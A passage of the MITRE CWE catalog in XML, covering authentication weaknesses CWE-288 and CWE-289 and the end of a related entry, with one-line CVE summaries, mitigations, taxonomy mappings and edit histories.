               <Link>https://www.cve.org/CVERecord?id=CVE-2017-14623</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3421</Reference>
               <Description>login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3421</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2382</Reference>
               <Description>admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2382</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1048</Reference>
               <Description>VOIP product allows authentication bypass using 127.0.0.1 in the Host header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1048</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2213</Reference>
               <Description>product uses default "Allow" action, instead of default deny, leading to authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2168</Reference>
               <Description>chain: redirect without exit (CWE-698) leads to resultant authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2168</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3107</Reference>
               <Description>product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3107</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1596</Reference>
               <Description>product does not properly implement a security-related configuration setting, allowing authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1596</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2422</Reference>
               <Description>authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2422</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3232</Reference>
               <Description>authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3232</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3231</Reference>
               <Description>use of LDAP authentication with anonymous binds causes empty password to result in successful authentication</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3231</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3435</Reference>
               <Description>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3435</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0408</Reference>
               <Description>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0408</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Authentication</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>1</Entry_ID>
               <Entry_Name>Insufficient Authentication</Entry_Name>
            </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			 <Entry_ID>Part 3-3</Entry_ID>
             <Entry_Name>Req SR 1.1</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			 <Entry_ID>Part 3-3</Entry_ID>
             <Entry_Name>Req SR 1.2</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			 <Entry_ID>Part 4-2</Entry_ID>
             <Entry_Name>Req CR 1.1</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			 <Entry_ID>Part 4-2</Entry_ID>
             <Entry_Name>Req CR 1.2</Entry_Name>
           </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="114"/>
            <Related_Attack_Pattern CAPEC_ID="115"/>
            <Related_Attack_Pattern CAPEC_ID="151"/>
            <Related_Attack_Pattern CAPEC_ID="194"/>
            <Related_Attack_Pattern CAPEC_ID="22"/>
            <Related_Attack_Pattern CAPEC_ID="57"/>
            <Related_Attack_Pattern CAPEC_ID="593"/>
            <Related_Attack_Pattern CAPEC_ID="633"/>
            <Related_Attack_Pattern CAPEC_ID="650"/>
            <Related_Attack_Pattern CAPEC_ID="94"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-236"/>
            <Reference External_Reference_ID="REF-237"/>
            <Reference External_Reference_ID="REF-238"/>
            <Reference External_Reference_ID="REF-239"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 4, &#34;Authentication&#34; Page 109"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Notes>
            <Note Type="Relationship">This can be resultant from SQL injection vulnerabilities and other issues.</Note>
			<Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Authentication Issues</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Insufficient Authentication</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="288" Name="Authentication Bypass Using an Alternate Path or Channel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A product requires authentication, but the product has an alternate path or channel that does not require authentication.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="306" View_ID="1000" Ordinal="Primary"/>
	    <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="420" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1179</Reference>
               <Description>Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1179</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1454</Reference>
               <Description>Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1454</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1077</Reference>
               <Description>OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1077</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0304</Reference>
               <Description>Direct request of installation file allows attacker to create administrator accounts.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0304</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0870</Reference>
               <Description>Attackers may gain additional privileges by directly requesting the web management URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0870</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0066</Reference>
               <Description>Bypass authentication via direct request to named pipe.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0066</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1035</Reference>
               <Description>User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1035</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication Bypass by Alternate Path/Channel</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Failure to Restrict URL Access</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="665"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">overlaps Unprotected Alternate Channel</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Modes_of_Introduction, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Authentication Bypass by Alternate Path/Channel</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="289" Name="Authentication Bypass by Alternate Name" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0317</Reference>
               <Description>Protection mechanism that restricts URL access can be bypassed using URL encoding.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0317</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0847</Reference>
               <Description>Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0847</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication bypass by alternate name</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS01-J</Entry_ID>
               <Entry_Name>Normalize strings before validating them</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>IDS01-J</Entry_ID>
               <Entry_Name>Normalize strings before validating them</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.</Note>
            <Note Type="Theoretical">Alternate names are useful in data driven manipulation attacks, not just for authentication.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
